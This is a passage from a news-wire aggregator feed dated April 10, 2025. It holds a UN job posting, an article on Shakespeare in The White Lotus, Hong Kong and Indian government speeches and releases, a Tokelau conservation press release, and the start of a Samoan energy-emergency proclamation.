    • Assists in the preparation of presentation materials using appropriate technology/software. 
    • May provide some specialized support to unit (e.g. technology support, editing, desktop publishing, etc.). 
    • Maintains calendar/schedules; monitors changes and communicate relevant information to appropriate staff inside and outside the immediate work unit. 
    • Maintains files (both paper and electronic) and databases for work unit. 
    • Performs other duties as assigned.

    Professionalism: Knowledge of general office and administrative support including administrative policies, processes and procedures. Able to perform analysis, modeling and interpretation of data in support of decision-making. Shows pride in work and in achievements; demonstrates professional competence and mastery of subject matter; is conscientious and efficient in meeting commitments, observing deadlines and achieving results; is motivated by professional rather than personal concerns; shows persistence when faced with difficult problems or challenges; remains calm in stressful situations. Commitment to implementing the goal of gender equality by ensuring the equal participation and full involvement of women and men in all aspects of work. 

    Teamwork: Works collaboratively with colleagues to achieve organizational goals; solicits input by genuinely valuing others’ ideas and expertise; is willing to learn from others; places team agenda before personal agenda; supports and acts in accordance with final group decision, even when such decisions may not entirely reflect own position; shares credit for team accomplishments and accepts joint responsibility for team shortcomings. 

    Planning & Organizing: Develops clear goals that are consistent with agreed strategies; identifies priority activities and assignments; adjusts priorities as required; allocates appropriate amount of time and resources for completing work; foresees risks and allows for contingencies when planning; monitors and adjusts plans and actions as necessary; uses time efficiently.

    High school diploma or equivalent.

    Not available.

    Five (5) years of experience in general office support or related area is required. The minimum years of relevant experience is reduced to three (3) for candidates who possess a first-level university degree or higher. 

    One (1) year or more of experience in data analytics or related area is desirable. 

    Experience in working with Enterprise Resource Planning (ERP) systems such as UMOJA/SAP is desirable. 

    Experience in the United Nations Common System or international organizations similar to UN Common System is desirable. 

    Experience in organizing large meetings and conferences, especially in the Asia and the Pacific is desirable. 

    Experience providing support to a person with a visual disability in a professional office context is desirable.

    English and French are the working languages of the United Nations Secretariat. For the post advertised, fluency in English is required. Knowledge of another official United Nations language is an advantage. NOTE: To be considered fluent in a language, your proficiency level in all four specified areas of the application (reading, writing, speaking, understanding) must be “Fluent”. To be considered to have knowledge of a language, your proficiency level in at least two out of the four specified areas must be “Confident” or “Fluent”

    Evaluation of qualified candidates may include an assessment exercise which may be followed by competency-based interview.

    Special Notice

    This position is subject to local recruitment pursuant to staff rule 4.4 of the United Nations Staff Rules. All staff in the General Service and related categories shall be recruited in the country or within commuting distance of each office, irrespective of their nationality and of the length of time they may have been in the country. A staff member subject to local recruitment shall not be eligible for the allowances or benefits exclusively applicable to international recruitment. At the United Nations, the paramount consideration in the recruitment and employment of staff is the necessity of securing the highest standards of efficiency, competence and integrity, with due regard to geographic diversity. All employment decisions are made on the basis of qualifications and organizational needs. The United Nations is committed to creating a diverse and inclusive environment of mutual respect. The United Nations recruits and employs staff regardless of gender identity, sexual orientation, race, religious, cultural and ethnic backgrounds or disabilities. Reasonable accommodation for applicants with disabilities may be provided to support participation in the recruitment process when requested and indicated in the application. In line with the overall United Nations policy, the UN Office for Disaster Risk Reduction encourages a positive workplace culture which embraces inclusivity and leverages diversity within its workforce. Measures are applied to enable all staff members to contribute equally and fully to the work and development of the organization, including flexible working arrangements, family-friendly policies and standards of conduct.

    United Nations Considerations

    According to article 101, paragraph 3, of the Charter of the United Nations, the paramount consideration in the employment of the staff is the necessity of securing the highest standards of efficiency, competence, and integrity. Candidates will not be considered for employment with the United Nations if they have committed violations of international human rights law, violations of international humanitarian law, sexual exploitation, sexual abuse, or sexual harassment, or if there are reasonable grounds to believe that they have been involved in the commission of any of these acts. The term “sexual exploitation” means any actual or attempted abuse of a position of vulnerability, differential power, or trust, for sexual purposes, including, but not limited to, profiting monetarily, socially or politically from the sexual exploitation of another. The term “sexual abuse” means the actual or threatened physical intrusion of a sexual nature, whether by force or under unequal or coercive conditions. The term “sexual harassment” means any unwelcome conduct of a sexual nature that might reasonably be expected or be perceived to cause offence or humiliation, when such conduct interferes with work, is made a condition of employment or creates an intimidating, hostile or offensive work environment, and when the gravity of the conduct warrants the termination of the perpetrator’s working relationship. Candidates who have committed crimes other than minor traffic offences may not be considered for employment. Due regard will be paid to the importance of recruiting the staff on as wide a geographical basis as possible. The United Nations places no restrictions on the eligibility of men and women to participate in any capacity and under conditions of equality in its principal and subsidiary organs. The United Nations Secretariat is a non-smoking environment. Reasonable accommodation may be provided to applicants with disabilities upon request, to support their participation in the recruitment process. By accepting a letter of appointment, staff members are subject to the authority of the Secretary-General, who may assign them to any of the activities or offices of the United Nations in accordance with staff regulation 1.2 (c). Further, staff members in the Professional and higher category up to and including the D-2 level and the Field Service category are normally required to move periodically to discharge functions in different duty stations under conditions established in ST/AI/2023/3 on Mobility, as may be amended or revised. This condition of service applies to all position specific job openings and does not apply to temporary positions. Applicants are urged to carefully follow all instructions available in the online recruitment platform, inspira, and to refer to the Applicant Guide by clicking on “Manuals” in the “Help” tile of the inspira account-holder homepage. The evaluation of applicants will be conducted on the basis of the information submitted in the application according to the evaluation criteria of the job opening and the applicable internal legislations of the United Nations including the Charter of the United Nations, resolutions of the General Assembly, the Staff Regulations and Rules, administrative issuances and guidelines. Applicants must provide complete and accurate information pertaining to their personal profile and qualifications according to the instructions provided in inspira to be considered for the current job opening. No amendment, addition, deletion, revision or modification shall be made to applications that have been submitted. Candidates under serious consideration for selection will be subject to reference checks to verify the information provided in the application. Job openings advertised on the Careers Portal will be removed at 11:59 p.m. (New York time) on the deadline date.

    No Fee

    THE UNITED NATIONS DOES NOT CHARGE A FEE AT ANY STAGE OF THE RECRUITMENT PROCESS (APPLICATION, INTERVIEW MEETING, PROCESSING, OR TRAINING). THE UNITED NATIONS DOES NOT CONCERN ITSELF WITH INFORMATION ON APPLICANTS’ BANK ACCOUNTS.

    Apply here

    MIL OSI United Nations News –

    April 10, 2025
  • MIL-OSI Global: All the Shakespearean references in The White Lotus season three explained by an expert

    Source: The Conversation – UK – By Emily Rowe, Lecturer in Early Modern Literature, King’s College London

    Warning: this article contains major spoilers for the ending of White Lotus season three.

    “Is this a bit ‘You killed my father, prepare to die,’ kind of?” asks Chelsea, the horoscope-obsessed Brit played with charm by Aimee Lou Wood in season three of The White Lotus.

    Chelsea may be thinking of The Princess Bride (1987), but we’re firmly in Hamlet territory. Her partner Rick (Walton Goggins) soon sets off to avenge his father’s death and kicks off a chain of violence that ends, inevitably, in blood and tragedy.

    Mike White’s luxury-hotel-meets-moral-decline drama, The White Lotus, has always toyed with highbrow references. Season two gave us Madame Butterfly meets commedia dell’arte (a genre of early Italian theatre replete with wealthy lovers, greedy old men, duplicitous servants and glamorous courtesans).

    Season three shifts the setting to Thailand. There, the show’s satire of super-wealth is framed through not only the lens of Buddhism, but also through many of Sheakeapre’s great tragedies: Hamlet, Othello, Romeo and Juliet, and King Lear.


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    Enter Rick, our sullen Hamlet. He’s been raised on a tragic fairy tale. As a child, his mother told him that his saintly father was murdered by a corrupt Thailand-based hotel-owner, Jim Hollinger (Scott Glenn). Rick insists this theft of a parent is the root of his suffering. But like Hamlet, he can’t act – not at first.

    When he finally does pull the trigger, the results are devastating. Jim’s wife, Sritlana (Lek Patravadi), reveals the twist. Jim was his real father, an oedipal moment that was unsurprising in a season so obsessed with incest.

    In the ensuing swirl of gunfire, Chelsea is killed. Rick, cradling her body in a Lear-like pietà, is shot by the noble yet spiritually doomed security guard Gaitok (Tayme Thapthimthong). The two lovers’ bodies float in the lily-strewn waters in an overt modern-day remake of Sir John Everett Millais’s painting, Ophelia (another character from Hamlet).

    Yet it’s Timothy Ratliff (Jason Isaacs), not Rick, who most clearly channels Hamlet’s existential torment. Facing exposure for financial fraud, Timothy contemplates suicide and even taking his family with him.

    Like Hamlet, though, he hesitates. Not out of pity, but uncertainty. What comes after death? Hamlet asked the same:

    But that the dread of something after death,

    The undiscover’d country from whose bourn

    No traveller returns, puzzles the will

    And makes us rather bear those ills we have

    Than fly to others that we know not of?

    Life is suffering. Hamlet and the Buddha knew that well. So why do we put up with it? To live or die? To act or wait? At a Buddhist monastery, Timothy seeks answers to these questions.

    The senior monk tells him: death is not an escape, but a return. Like a droplet returning to the sea, “Death is a happy return, like coming home.” Pain is inescapable; it must be faced. Timothy, and Hamlet, struggle to accept that.

    The inevitability of greed

    Season three of The White Lotus may have touched on Hamlet’s considerations of suicide, revenge and fate (its finale is named Amor Fati, which translates as love of one’s fate), but its trademark attack on the inevitability of greed was thrown into sharp relief this season thanks to its light engagement with Buddhism.

    Timothy speaks with the monk.

    The senior monk tells Timothy in his gently broken English, “Everyone run from pain towards the pleasure, but when they get there only to find more pain. You cannot outrun pain.” This season, even our moral compasses, Gaitok, Piper (Sarah Catherine Hook) and Belinda (Natasha Rothwell), run from pain to pleasure – towards power, sex, comfort and money over enlightenment.

    Gaitok puts his morals aside to kill Rick so that he might get a promotion and win the heart of Mook (Lalisa Manobal). Piper decides against a year at the monastery after realising she needs the comforts of wealth more than she realised. And Belinda? She could have exposed the killer of Tanya (Jennifer Coolidge’s beloved character from seasons one and two). Instead, she takes a US$5 million payout and sails away smiling.

    As she departs, Billy Preston’s buoyant song Nothing from Nothing plays. It’s the same phrase Rick uttered earlier in the season: “Nothing comes from nothing, right?” He’s already empty, he cannot be saved. On the surface, it’s a throwaway line. But it holds weight – philosophical, spiritual and Shakespearean.

    Buddhism teaches anatta, the doctrine of no-self. It’s the idea that release comes through relinquishing ego, embracing nothingness. Since we are essentially nothing, all that ever can come from us is nothing: the business and strife and frustration of life is in fact empty froth on the surface of a deep nothingness. And Shakespeare knew the dangers of misunderstanding that “nothing”.

    Belinda goes back on her plans to start a business with Pornchai once she receives the money.

    “Nothing comes from nothing” is a favoured maxim of King Lear. After asking the first two of his three daughters to express profusely their love for him, he rewards them with land and wealth. Turning to his third daughter, Cordelia, he asks, “What can you say to draw / A third more opulent than your sisters? Speak,” to which she responds:

    Cordelia: Nothing, my lord.

    Lear: Nothing?

    Cordelia: Nothing.

    Lear: Nothing will come of nothing. Speak again.

    If Cordelia gives Lear “nothing,” he will give her “nothing” in return – no dowry, no inheritance, no kingdom. This exposes how Lear has come to place a transactional value on love. In his mind, affection must be spoken, quantified and rewarded with land and power. He’s unable, or unwilling, to recognise the moral worth of Cordelia’s honest, restrained love because it offers no immediate gratification or political utility.

    At this early stage of the play, Lear, like The White Lotus’s spiritually bankrupt denizens, falsely clings to worldly value, not seeing it as mere illusion. Belinda’s spiritual bank, however, was full. Yet in the season’s finale, the repetition of “nothing comes from nothing” after Belinda’s ethical one-eighty hints at how fateful her choice really is.

    In one moment, she trades enlightenment and true (if restrained) happiness for the nothingness of wealth. At the start of both The White Lotus and King Lear, “nothing”, whether it means death, poverty, or solitude, is a threat. By the end, it’s all that remains.

    Emily Rowe does not work for, consult, own shares in or receive funding from any company or organisation that would benefit from this article, and has disclosed no relevant affiliations beyond their academic appointment.

    – ref. All the Shakespearean references in The White Lotus season three explained by an expert – https://theconversation.com/all-the-shakespearean-references-in-the-white-lotus-season-three-explained-by-an-expert-254248

    MIL OSI – Global Reports –

    April 10, 2025
  • MIL-OSI Asia-Pac: Speech by FS at Citi Hong Kong Macro Investor Conference 2025 (English only) (with photo)

    Source: Hong Kong Government special administrative region

         Following is the speech by the Financial Secretary, Mr Paul Chan, at the Citi Hong Kong Macro Investor Conference 2025 today (April 10):
     
    Paul (Head of Markets for Japan, Asia North and Australia of Citi, Mr Paul Smith), Aveline (Chief Executive Officer of Citi Hong Kong and Macau, Ms Aveline San), distinguished guests, ladies and gentlemen,
     
         Good morning. 
     
         It is a pleasure to join you today at the Citi Hong Kong Macro Investor Conference 2025. Allow me to first express my gratitude to Citi for bringing such a distinguished group of investors, economists, strategists and senior executives from around the world to Hong Kong.
     
         This forum for dialogue and thought-provoking discussions is particularly timely as we face a trade war marked by ruthless imposition of tariffs. Allow me to share with you our position and response to these challenges.
     
    Impact of unilateral tariff measures
     
         Let me make it clear that the so-called “reciprocal tariffs” imposed by the United States on its trading partners are fundamentally wrong – politically, economically, and historically.
     
         These sweeping tariffs are disrupting global supply chains, inflating costs for both businesses and consumers, and creating significant uncertainty for cross-border investments. While “economic nuclear winter” may be an extreme term, we are certainly witnessing challenges to the global trading system unseen in a century.
     
         Most economists agree that the American public, especially those at the grassroots level, will bear the brunt of rising inflation as tariffs increase costs for groceries and daily necessities. Many financial institutions have revised downward their growth forecasts for the US (United States) and the global economy, with some even predicting a recession for both.
     
         China, as a major economy, has wide policy room and a range of tools to mitigate these impacts. Full details of the measures are yet to be seen, but our country has made its stance clear: we are open to resolving trade conflicts through dialogue based on mutual respect, not intimidation.
     
         Ultimately, these developments will reinforce geo-economic fragmentation. We are likely to see three major regional blocs emerge: first, the Asia-Pacific; second, India, the Middle East, and Europe; and third, the Americas.
     
    Resilience of Hong Kong’s financial markets
     
         Now, turning to Hong Kong, I want to highlight that despite the high volatility in the stock market, our financial system has shown strong resilience.
     
         This Monday, when we experienced a significant drop in the stock market, two key points are worth noting. 
     
         First, trading activity was robust, with substantial buying and selling interests. The bid-ask spread stayed very tight, signaling strong underlying liquidity. All margin calls were met on time, with no signs of stress. 
     
         Second, the Hong Kong dollar remained strong, indicating there was no capital flight. Our Linked Exchange Rate System continues to function effectively, and the money market is operating smoothly.
     
         The Hang Seng Index has started to recover since Monday, and overall, Hong Kong’s financial market continues to operate effectively. Rest assured that our financial regulators are conducting real-time, round-the-clock surveillance across markets. No systemic irregularities have been detected. We will remain vigilant and agile, and ready to take appropriate measures, if needed.
     
    Responding with composure
     
         In the short term, we will implement a suite of measures to support our businesses. The Hong Kong Monetary Authority is working closely with the banking sector to ensure that SMEs (small and medium-sized enterprises) have the liquidity they need. In fact, banks have set aside over US$50 billion for this purpose. We are also supporting these businesses in opening up new markets in the Mainland, the Middle East, and ASEAN (Association of Southeast Asian Nations) countries, including funding support for marketing and brand building. Additionally, we will help them embrace digital transformation to enhance their competitiveness and e-commerce capabilities.
     
         While these short-term measures are essential, our long-term strategy focuses on economic diversification. Several key strategies will guide us.
     
         First, we will leverage our strengths as an international trade centre. With geo-economic fragmentation, China will likely drive more outbound investments and strengthen trade ties with regions like ASEAN, the Middle East and even Europe. Economy is the top priority of the Central Government, and foreign businesses and investments are welcome. This was evident in President Xi’s recent meetings with both international business leaders and domestic private entrepreneurs.
     
         Hong Kong’s unique connectivity with both the Mainland and the world positions us as an ideal gateway and platform for foreign businesses entering the Mainland market, and for Mainland enterprises going global. Hong Kong will be the hub where Mainland and global companies can establish their regional or international headquarters, corporate treasury centres and supply chain management centres.
     
         Second, there will be new opportunities for Hong Kong as an IFC (international financial centre). Given the current geopolitical landscape, Hong Kong is naturally becoming the preferred fundraising market for Mainland companies. Currently, there are over 100 major companies waiting to list on the Hong Kong Stock Exchange.
     
         And the DeepSeek moment has prompted international investors to reassess China’s technological capabilities and re-evaluate the values of related companies. We believe that more tech companies from the Mainland will list in Hong Kong, and the liquidity of our stock market will be greatly enhanced.
     
         We are also exploring new sources of capital, particularly from the Middle East. Last year marked a milestone with two ETFs (exchange-traded funds) investing in the Hong Kong market listed on the Saudi Exchange. We will encourage quality issuers from the Middle East and Southeast Asia to consider dual primary or secondary listings in Hong Kong.
     
         Finally, at the heart of our long-term economic transformation is innovation and technology, in particular artificial intelligence (AI).
     
         In my Budget this year, I outlined our vision to develop AI as a core industry for Hong Kong. We are pushing forward on five key fronts: supercomputing capabilities, algorithms, data, capital and talent.
     
         To fast-track our innovation and technology ambition, we need innovative enterprises with cutting-edge technologies. We are targeting four key industries: AI and data science, life and health technology, fintech, and advanced manufacturing and new energy. With the support of the Office for Attracting Strategic Enterprises, we have attracted over 80 such enterprises to Hong Kong, which together will invest around US$60 billion in our city, creating about 20,000 jobs.
     
         We recognise the importance of patient capital in this journey. That’s why we established the Hong Kong Investment Corporation Limited (HKIC). Serving as patient capital, the HKIC invests in and guides market capital to support nascent-stage ventures and sectors of tomorrow. It seeks to build a vibrant ecosystem comprising the Government, industry, academia, research and investment sectors.  At the same time, it seeks reasonable risk-adjusted financial returns over the medium to long term. To date, it has invested in more than 100 projects, achieving a 1 to 4 co-investment ratio – meaning that for every dollar the HKIC invested, it has attracted four dollars from private investors to follow.
     
         With the development in the Northern Metropolis and collaboration with Shenzhen and nearby cities, we are confident that Hong Kong and the Greater Bay Area will emerge as a global financial and innovation centre. 
     
    Conclusion: confidence and opportunity
     
         Ladies and gentlemen, we are navigating truly challenging times. The obstacles posed by trade war and geo-economic fragmentation are daunting. However, I want to reassure you that Hong Kong remains steadfastly committed to the “one country, two systems” principle and all the advantages it entails: we will continue to be a free port, maintain our free trade policy, and guarantee the free flow of capital, goods, information, and people. We provide what investors seek: policy clarity, consistency and credibility.
     
         And Hong Kong offers even more: market access, capital, talent and an unparalleled lifestyle – the Rugby Sevens, Coldplay, Art Basel, along with our stunning hiking trails, coastlines, and a vibrant culinary scene featuring 200 Michelin-recommended restaurants. These elements create a unique international metropolitan fabric, making Hong Kong a great city for global talent to live, work and raise a family.
     
         Thank you once again to Citi for hosting this Conference. I wish you all fruitful discussions and a rewarding time here in Hong Kong.
     
         Thank you.

    MIL OSI Asia Pacific News –

    April 10, 2025
  • MIL-OSI Asia-Pac: Navkar Mahamantra Divas: Celebrating Mahavir Jayanti

    Source: Government of India

    Posted On: 10 APR 2025 10:09AM by PIB Delhi

    “The literature of Jainism is the backbone of India’s intellectual grandeur. Preserving this knowledge is our duty”- Prime Minister Shri Narendra Modi

    India reverently celebrates Mahavir Jayanti, a day that resonates with deep spiritual significance and profound peace, as it commemorates the birth of Lord Mahavir, the 24th Tirthankara of Jainism. More than a festival, it is a heartfelt tribute to a life devoted to compassion, self-restraint, and truth. In a world often clouded by conflict and chaos, Lord Mahavir’s eternal message of ahimsa (non-violence), satya (truth), and inner awakening shines brighter than ever, guiding countless souls toward a more mindful and harmonious existence.

    This year, the spirit of Mahavir Jayanti was powerfully invoked through the inauguration of Navkar Mahamantra Divas by Prime Minister Narendra Modi on April 9.

    “Navkar Mantra is not just a mantra but the core of our faith and the essence of life.”

    The Navkar Mantra, central to Jain prayer, is more than a collection of sacred syllables, it is a rhythmic flow of energy, stability, and light.

    Prime Minister Shri Narendra Modi, reflecting on his own roots in Gujarat, spoke of how Jain Acharyas shaped his understanding from an early age. This personal connection reinforced his message that Jainism is not merely historical but deeply relevant, especially in an India that seeks to grow without losing its roots.

    This relevance is embodied in the architectural and cultural fabric of modern India, be it the depiction of Sammed Shikhar at the new Parliament’s entrance or the return of ancient Tirthankara idols from overseas. These are not artifacts of nostalgia; they are living symbols of India’s spiritual continuity.

    Prime Minister Narendra Modi described climate change as today’s biggest crisis, saying its solution is a sustainable lifestyle, which the Jain community has practiced for centuries. The Jain community has been living the principles of simplicity, restraint, and sustainability for centuries. Lord Mahavir’s timeless teachings align beautifully with Mission LiFE (Lifestyle for Environment), a national call for sustainable living.

    Jainism’s emblem, “Parasparopagraho Jivanam”, meaning the mutual interdependence of all life offers a deeply ecological worldview.

    Nine Resolutions for a New India

    In a poetic tribute to the power of “nine” in Indian and Jain traditions, the Prime Minister proposed nine resolutions anchored in the Navkar Mantra, each a commitment to knowledge, action, harmony, and rooted progress. He noted how repeating the mantra nine times, or in its multiples like 27, 54, or 108 represents spiritual completeness and intellectual clarity.

    First Resolution: Water Conservation– Emphasizing the need to value and save every drop of water.

    Second Resolution: Plant a tree in Mother’s Name– Planting of over 100 crore trees in recent months and urging everyone to plant a tree in their mother’s name and nurture it like her blessings.

    Third Resolution: Cleanliness Mission – Understanding the importance and contributing to cleanliness in every street, neighbourhood and city.

    Fourth Resolution: Vocal for Local– Promotion of locally made products, turning them global and supporting items that carry the essence of Indian soil and the sweat of Indian workers.

    Fifth Resolution: Explore India– To explore India’s diverse states, cultures, and regions before traveling abroad, emphasizing the uniqueness and value of every corner of the country.

    Sixth Resolution: Adopting Natural Farming–  The Jain principle of “One living being should not harm another”, and for freeing Mother Earth from chemicals, supporting farmers, and promoting natural farming.

    Seventh Resolution: Healthy Lifestyle–  Following Indian dietary traditions, including millets (Shri Anna), reducing oil consumption by 10%, and maintaining health through moderation and restraint.

    Eighth Resolution: Incorporating Yoga and Sports– Making yoga and sports a part of daily life, whether at home, work, school, or parks, to ensure physical health and mental peace.

    Ninth Resolution: Helping the Poor– Assisting the underprivileged, whether by holding a hand or filling a plate, as the true essence of service.

    These resolutions align with the principles of Jainism and the vision of a sustainable and harmonious future.

    Jain literature, etched in Prakrit and Pali, holds profound treasures of thought. The government’s initiative to grant these languages classical status and digitize Jain manuscripts under the Gyan Bharatam Mission is a tribute to this ancient wisdom.

    In March 2024, the Ministry of Minority Affairs approved projects under Pradhan Mantri Jan Vikas Karyakram (PMJVK) Scheme for the establishment of ‘Centre for Jain Studies’ in Devi Ahilya Vishwavidyalaya (DAVV) in Indore. With financial assistance of ₹25 crore, this centre aims to preserve and promote Jain heritage, foster interdisciplinary research, and enhance global understanding of Jainism as a way of life. It will support digitization of ancient Jain texts, facilitate academic research, and serve as a hub for students and scholars to engage with Jain teachings, traditions, and practices, while also promoting community engagement and awareness.

    The Ministry of Minority Affairs in the past also approved a project focused on preserving Jain culture through digitization of manuscripts, knowledge sharing, and promoting interdisciplinary research on Jain traditions.

    On Mahavir Jayanti in April 2024, a commemorative stamp and coin on the occasion of 2550th Bhagwan Mahaveer Nirvan Mahotsav.

    As India marches on the path of becoming a developed nation, Lord Mahavir’s message of inner conquest, compassion, and truth offers a guiding light. In the harmony of the Navkar Mantra, in the discipline of the Sadhus, and in the interdependence of life itself, not just for individuals, but for the whole world.

    References:

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    Santosh Kumar/ Sarla Meena/ Kritika Rane

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    April 10, 2025
  • MIL-OSI Asia-Pac: Armed Forces must operate jointly & remain future-ready in today’s ever-evolving multi-domain environment: Raksha Mantri at DSSC, Wellington

    Source: Government of India

    Armed Forces must operate jointly & remain future-ready in today’s ever-evolving multi-domain environment: Raksha Mantri at DSSC, Wellington

    “Govt transforming the military into a technologically-advanced combat-ready force”

    “Building an indigenous future-ready defence ecosystem is a strategic necessity”

    Posted On: 10 APR 2025 12:52PM by PIB Delhi

    “Armed Forces must operate jointly and remain future-ready in today’s ever-evolving multi-domain environment where cyber, space & information warfare etc. are as potent as conventional operations,” said Raksha Mantri Shri Rajnath Singh while addressing the Armed Forces officers of India and friendly countries during the Convocation Ceremony of the 80th Staff Course of Defence Services Staff College (DSSC), Wellington, Tamil Nadu on April 10, 2025.

    Raksha Mantri pointed out that today’s global geopolitics is being redefined by three key metrics: a major pivot towards prioritising national security, a technological tsunami sweeping the global landscape, and accelerating innovation. He urged the officers to study the nuances of these trends in-depth to stay ahead on strategic-military change curve, adding that Prime Minister Shri Narendra Modi-led Government is leaving no stone unturned to transform the Armed Forces into a technologically-advanced combat-ready force capable of multi-domain integrated operations.

    Highlighting that Artificial Intelligence and other emerging technologies are revolutionising deterrence and war-fighting in critical ways, Shri Rajnath Singh termed the power of technological innovation in combat theatres as breathtaking. “In the Ukraine-Russia conflict, drones have virtually emerged as a new arm, if not a transformative science. The majority of losses of soldiers and equipment have been attributed neither to traditional artillery nor to armour but to drones. Similarly, space capacities in the Low Earth Orbit are transforming military intelligence, persistent surveillance, positioning, targeting and communications, thus taking combat to a new high,” he said.

    Raksha Mantri stressed that the world is in the age of Grey Zone and Hybrid warfare where cyber-attacks, disinformation campaigns, and economic warfare have become tools that can achieve politico-military aims without a single shot being fired. He added that India faces persistent threats along its borders, which are further compounded by the challenge of proxy war and terrorism emanating from its neighbourhood.

    Shri Rajnath Singh also spoke of the impact of the conflict in West Asia and the geopolitical tensions in the Indo-Pacific on the overall security calculus, in addition to non-traditional security threats such as natural disasters and climate change. He stressed on the need to vigorously pursue the transformation of the Armed Forces to remain capable and relevant for future wars, stating that PM Modi’s vision of Viksit Bharat by 2047 rests firmly on two foundational pillars – Surakshit Bharat and Sashakt Bharat.

    Raksha Mantri pitched for the development and modernisation of the Armed Forces through self-reliance. “Lessons of the ongoing conflicts teach us that building a resilient, indigenous, and future-ready defence technological & manufacturing ecosystem is not an option, but a strategic necessity. There is a need to develop low-cost high-tech solutions and enhance the fighting capability of the Armed Forces. Our forces must not only keep pace with technological changes, but also lead it,” he said.

    Shri Rajnath Singh also batted for enhanced synergy among all components to ensure national security. Fostering a ‘Whole of Nation’ approach while undertaking actions in the entire spectrum of diplomatic, informational, military, economic and technological domains is key to ensuring success in this endeavour, he said.

    Referring to the Prime Minister’s vision of ‘MAHASAGAR’ (Mutual and Holistic Advancement for Security and Growth Across Regions) for the Global South, Raksha Mantri stated that achieving a better future and prosperity for the nations will always remain a collective pursuit. “Increasing connectivities and dependencies among countries and people implies that the multitude of challenges are better faced together than individually. Mutual interests and synergies will help us achieve our goal at sub regional, regional and even global levels,” he said.

    Shri Rajnath Singh exhorted the officers to focus on five ‘A’s – Awareness, Ability, Adaptability, Agility and Ambassadors – to tackle future challenges. “As warfighters and protectors of national security, you need to remain aware of the environment and its implications. You must acquire the ability and skill set required by future leaders. You must imbibe adaptability and agility as key virtues. The battlefield of tomorrow will require leaders who can adapt to unforeseen circumstances, leverage technology to their advantage and come out with innovative solutions. You must become Ambassadors of your respective Armed Forces. Be an ambassador of change and the perfect role model amongst the society at large,” he added.

    Raksha Mantri began his address by expressing solidarity and support of the people of India to Myanmar and Thailand in the wake of the recent massive earthquake. “India has always stood by its friends as a first responder in times of crisis and we consider it as our duty to be able to deliver timely relief to the people of Myanmar,” he said.

    The 80thStaff Course comprises 479 student officers, including 38 personnel from 26 friendly countries. Three women officers are also participating in the course.

    Ahead of the ceremony, Shri Rajnath Singh laid a wreath at the Madras Regiment War Memorial and paid homage to the bravehearts. He also interacted with the veterans, acknowledging their invaluable contributions to the nation. Chief of Defence Staff General Anil Chauhan was among the dignitaries present on the occasion.

    Established in 1948, DSSC is a premier Tri-service training institution that imparts professional education to select middle-level officers of the Indian Armed Forces and friendly countries. It aims to enhance their professional competencies for assuming higher responsibilities. Over the years, more than 19,000 Indian officers and 2,000 international officers have graduated from DSSC, many of whom have risen to become heads of states and military forces worldwide.

    ***

    VK/SR/Savvy

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    April 10, 2025
  • MIL-OSI Asia-Pac: CONSERVATION EXPEDITION TO STRENGTHEN TOKELAU’S ENVIRONMENTAL AND COMMUNITY RESILIENCE

    Source:

    [PRESS CONFERENCE Atafu, Tokelau – 28 March 2025] Conservation International, in partnership with New Zealand Geographic and the Samoa Conservation Society, has embarked on an innovative expedition to Tokelau. This collaborative initiative focuses on co-developing culture-based environmental education programs, biodiversity research, and community science training.

    After a challenging 44-hour sail from Samoa, the team received a traditional welcome from the Atafu Taupulega (Council of Elders) and government ministers.

    Supported by the New Zealand Ministry of Foreign Affairs and Trade (MFAT), the initiative will use cutting-edge techniques and immersive virtual reality to create educational resources for Tokelauan schools, bridging traditional knowledge with modern conservation science.

    The expedition represents a critical follow-up to research sites that haven’t been surveyed in 13-20 years, employing cutting-edge techniques including bird and invasive species monitoring, fish surveys, photogrammetry, environmental DNA sampling, and citizen science training. All activities are being documented in immersive virtual reality to create educational resources for Tokelauan schools that bridge traditional knowledge with modern conservation science.

    Minister Nofo Iupati, responsible for Economic Development, Natural Resources, and Environment, and Minister Kelihiano Kalolo, Minister of Education and Minister for Climate, Oceans, and Resilience, led the official welcome ceremony. Minister Kalolo captured the essence of the partnership by emphasizing the intrinsic connection between environmental and community wellbeing: “When the environment is healthy, the people are healthy.”

    In-depth knowledge exchange sessions, led by Leausalilo Leilani Duffy of Conservation International Samoa, were held with Aumaga (men’s groups) and Fatupaepae (women’s groups), and local youth, to strengthen collaborative environmental conservation efforts.

    “Cultural identity is the foundation of how our island communities connect with each other and their environment,” noted Duffy. “These consultations are essential for co-developing environmental education resources that resonate with local values and traditional practices.”

    At sea, Conservation International Aotearoa’s Schannel van Dijken, together with New Zealand Geographic’s James Frankham and Richard Robinson, conducted surveys at two dive sites on Atafu’s northern and southwestern points.

    The team documented diverse marine ecosystems featuring healthy populations of fish across all trophic levels, including globally endangered species such as humphead wrasse, bumphead parrotfish, and various shark species.

    “We could see these sites were instant Key Biodiversity Areas the moment we descended” van Dijken reported. “This assessment is vital for supporting Tokelau’s efforts to map and manage its marine resources effectively. By identifying these high-biodiversity hotspots, we can help Tokelau prioritize areas for management”.

    The team is integrating technology into their survey methodology, recording transects with high-resolution 360-degree cameras. New Zealand Geographic is capturing these underwater environments in virtual reality, creating immersive experiential assets that will be shared with Tokelauan schools and communities upon completion.

    This expedition represents a crucial milestone of the ‘Securing a Polynesian Promise for Climate and Community Resilience’ —a collaborative effort lead by Conservation International, together with the New Zealand Ministry of Foreign Affairs and Trade, and partners across Samoa and Tokelau.

    The project is designed to enhance the capacity of local communities to sustainably manage their marine resources and strengthen their resilience to climate change through a combination of hands-on education, scientific research and traditional knowledge.

    ENDS.

    SOURCE – Conservation International Pacific Islands

    MIL OSI Asia Pacific News –

    April 10, 2025
  • MIL-OSI Asia-Pac: HON. PRIME MINISTER OF SAMOA PRESS STATEMENT PROCLAMATION OF EMERGENCY ENERGY CRISIS [31st March 2025]

    Source:

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    His Highness, the Head of State, Afioga Tuimaleali’ifano Va’aletoa Sualauvi II, pursuant to Article 105 of the Constitution and acting on the advice of Cabinet, has declared a State of Emergency for Samoa for 30 days, effective from 12:00am Monday 31 March to Tuesday 29 April 2025.

    The Proclamation of Emergency enables the Government to implement emergency measures necessary to manage and restore national energy supply, protect public health and safety, and maintain essential services.

    As a result of continuous power outages and electricity rationing, the Government acknowledges the significant impact on our people and economy, noting that:

    1. The damage to household utilities and the safety of residential buildings.

    2. The loss of power has compromised the storage of perishable food items in retail and wholesale outlets, as well as households.

    3. The impact on private businesses and corporations affecting operations and livelihoods.

    4. The projected economic cost of the crisis is estimated to reach approximately 16% of GDP for the 2025 calendar year, underscoring severe disruptions to national productivity, public services, and economic activity.

